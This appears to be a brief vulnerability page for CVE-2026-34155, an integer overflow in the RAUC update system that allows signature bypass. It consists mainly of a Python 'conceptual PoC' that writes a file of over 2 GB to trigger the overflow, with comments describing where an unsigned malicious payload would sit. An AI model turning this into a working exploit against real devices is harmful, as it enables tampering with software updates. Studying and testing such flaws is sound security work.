CVE-2026-34155 RAUC 整数溢出导致签名绕过漏洞

import os # This is a conceptual PoC demonstrating the creation of a large file # that could trigger the integer overflow condition in vulnerable RAUC versions. # Actual exploitation requires a valid private key to sign the bundle header. def create_malicious_bundle(filename, size_gb=3): """ Creates a dummy file > 2GB to simulate the overflow condition. """ file_size = size_gb * 1024 * 1024 * 1024 # In a real scenario, the first few bytes would contain a valid signed header # and the rest would be the malicious payload. with open(filename, 'wb') as f: # Write a dummy header (e.g., 1KB) f.write(b'A' * 1024) # Write padding to exceed 2GB limit (triggering overflow) # This represents the unsigned portion where malicious code resides remaining = file_size - 1024 f.write(b'B' * remaining) print(f"Created {filename} with size {size_gb}GB.") print("If signed with a valid key, RAUC < 1.15.2 may only verify the first 1KB.") if __name__ == "__main__": create_malicious_bundle("malicious_bundle.rauc")